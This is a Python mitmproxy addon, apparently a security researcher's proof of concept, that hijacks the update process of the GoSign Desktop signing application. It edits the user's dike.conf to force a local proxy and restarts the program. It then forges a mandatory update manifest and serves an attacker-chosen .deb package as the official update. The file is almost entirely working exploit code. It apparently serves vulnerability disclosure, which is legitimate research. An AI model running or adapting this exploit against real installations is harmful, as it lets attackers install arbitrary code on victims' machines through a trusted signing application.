# GoSign Desktop MitM Proof of Concept
# Author: Pasquale 'sid' Fiorillo
# Date: 2025-10-03

import hashlib
import json
import os
import subprocess
import configparser
from pathlib import Path
from datetime import datetime
from mitmproxy import http, ctx
from mitmproxy.exceptions import AddonManagerError


# Fake update deb file
DEB = "gosigndesktop_6.6.6_amd64.deb"
# URls to intercept
URL_MANIFEST = "https://rinnovofirma.infocert.it/gosign/download/update"
URL_DEB = f"https://gosignupdates.infocert.it/gosign/standard/{DEB}"
# Proxy conf
PROXY_HOST = "127.0.0.1"
PROXY_PORT = "8666"
# Process Name
PROCESS_NAME = "GoSignDesktop"
PROCESS_PATH = "/usr/lib/gosigndesktop"

_deb_sha256 = None
_deb_size = None


def _proxify_target() -> bool:
    # Get the user home directory
    target_conf_path = None
    home_dir = os.path.expanduser("~")
    if home_dir is None or not os.path.isdir(home_dir):
        ctx.log.error("Failed to get user home directory")
        return False
    
    target_conf_path = Path(home_dir) / ".gosign" / "dike.conf"
    if target_conf_path is None or not target_conf_path.is_file():
        ctx.log.error(f"Target conf file not found: {target_conf_path}")
        return False
    
    # Read the target conf file (it is a INI-like file)
    # check if "[http_Proxy]" section exists. If exists, remove the section first
    # then add the section with the new proxy settings:
    # [http_Proxy]
    # has_pwd=false
    # ntlm_auth=false
    # save_settings=false
    # use=MANUALPROXY
    # user=
    # address={PROXY_HOST}
    # port={PROXY_PORT}
    # password=
    # optBitmask=2
    config = configparser.ConfigParser()
    config.optionxform = str  # make option names case-sensitive

    try:
        config.read(target_conf_path)
    except Exception as e:
        ctx.log.error(f"Failed to read target conf file: {e}")
        return False
    
    if config.has_section("http_Proxy"):
        config.remove_section("http_Proxy")
    
    config.add_section("http_Proxy")
    config.set("http_Proxy", "has_pwd", "false")
    config.set("http_Proxy", "ntlm_auth", "false")
    config.set("http_Proxy", "save_settings", "false")
    config.set("http_Proxy", "use", "MANUALPROXY")
    config.set("http_Proxy", "user", "")
    config.set("http_Proxy", "address", PROXY_HOST)
    config.set("http_Proxy", "port", PROXY_PORT)
    config.set("http_Proxy", "password", "")
    config.set("http_Proxy", "optBitmask", "2")

    try:
        with target_conf_path.open("w") as configfile:
            config.write(configfile)
            configfile.close()
    except Exception as e:
        ctx.log.error(f"Failed to write target conf file: {e}")
        return False
    
    ctx.log.info(f"Set mitmproxy as upstream proxy in {target_conf_path}")

    # if the PROCESS_NAME process is running, restart it
    # so it reads the new proxy settings and check for updates
    try:
        import psutil
        for proc in psutil.process_iter(["pid", "name"]):
            if proc.info["name"] == PROCESS_NAME:
                ctx.log.info(
                    f"Restarting process {PROCESS_NAME} (pid={proc.info['pid']}) to apply new proxy settings"
                )

                # Terminate the process
                proc.terminate()
                try:
                    proc.wait(timeout=5)
                except psutil.TimeoutExpired:
                    proc.kill()
                    proc.wait()
            
                break

        # Start the process
        PROCESS_FULL_PATH = os.path.join(PROCESS_PATH, PROCESS_NAME)
        if not os.path.isfile(PROCESS_FULL_PATH):
            ctx.log.error(f"Process executable not found: {PROCESS_FULL_PATH}")
            return False
        
        with open(os.devnull, 'wb') as devnull:
            subprocess.Popen(
                [PROCESS_FULL_PATH],
                stdin=devnull,
                stdout=devnull,
                stderr=devnull,
                close_fds=True
            )
            ctx.log.info(f"Process {PROCESS_NAME} restarted")
    except Exception as e:
        ctx.log.error(f"Failed to restart process {PROCESS_NAME}: {e}")
        return False
    
    return True


def _compute_deb_metadata():
    # Compute sha256 and deb size
    deb_path = Path(__file__).resolve().parent / DEB
    try:
        with deb_path.open("rb") as stream:
            hasher = hashlib.sha256()
            size = 0
            for chunk in iter(lambda: stream.read(8192), b""):
                hasher.update(chunk)
                size += len(chunk)
    except FileNotFoundError:
        ctx.log.error(f"DEB file not found: {deb_path}")
        return None, None

    return hasher.hexdigest(), size


def load(l):
    ctx.log.info("GoSign Desktop PoC addon loaded")
    global _deb_sha256, _deb_size
    _deb_sha256, _deb_size = _compute_deb_metadata()

    if _deb_sha256 is None or _deb_size is None:
        message = "Failed to load DEB metadata - shutting down mitmproxy"
        ctx.log.error(message)
        master = getattr(ctx, "master", None)
        if master is not None:
            master.shutdown()
        raise AddonManagerError(message)

    ctx.log.info(
        "Loaded DEB metadata - sha256=%s size=%d bytes" % (_deb_sha256, _deb_size)
    )

    if _proxify_target() is False:
        message = "Failed to set mitmproxy upstream proxy - shutting down mitmproxy"
        ctx.log.error(message)
        master = getattr(ctx, "master", None)
        if master is not None:
            master.shutdown()
        raise AddonManagerError(message)


def response(flow: http.HTTPFlow) -> None:
    # Intercept the URL_MANIFEST
    if flow.request.method == "GET" and flow.request.pretty_url == URL_MANIFEST:

        ctx.log.info(
            f"Intercepted {flow.request.method} {flow.request.pretty_url} - Pwning the update manifest ..."
        )


        global _deb_sha256, _deb_size
        if _deb_sha256 is None or _deb_size is None:
            _deb_sha256, _deb_size = _compute_deb_metadata()

        response_body = {
            "control": {"probability": 100},
            "linux": {
                "6.6.6": {
                    "packages": {
                        "deb": {
                            "64": {
                                "url": f"https://gosignupdates.infocert.it/gosign/standard/{DEB}",
                                "sha256": _deb_sha256,
                                "size": _deb_size,
                                "releaseDate": datetime.today().strftime('%Y-%m-%d'),
                            }
                        }
                    },
                    "type": "MANDATORY",
                }
            },
        }

        body_bytes = json.dumps(response_body, indent=2).encode("utf-8")
        headers = {
            "Content-Type": "application/json",
            "Content-Length": str(len(body_bytes)),
        }

        flow.response = http.Response.make(200, body_bytes, headers)

    # Intercept the URL_DEB
    if flow.request.method == "GET" and flow.request.pretty_url == URL_DEB:

        ctx.log.info(
            f"Intercepted {flow.request.method} {flow.request.pretty_url} - Pwning the update package ..."
        )

        deb_path = Path(__file__).resolve().parent / DEB
        try:
            with deb_path.open("rb") as stream:
                body_bytes = stream.read()
        except FileNotFoundError:
            ctx.log.error(f"DEB file not found: {deb_path}")
            flow.response = http.Response.make(
                404,
                b"",
                {
                    "Content-Type": "text/plain",
                    "Content-Length": "0",
                },
            )
            return

        headers = {
            "Content-Type": "application/vnd.debian.binary-package",
            "Content-Length": str(len(body_bytes)),
        }

        flow.response = http.Response.make(200, body_bytes, headers)
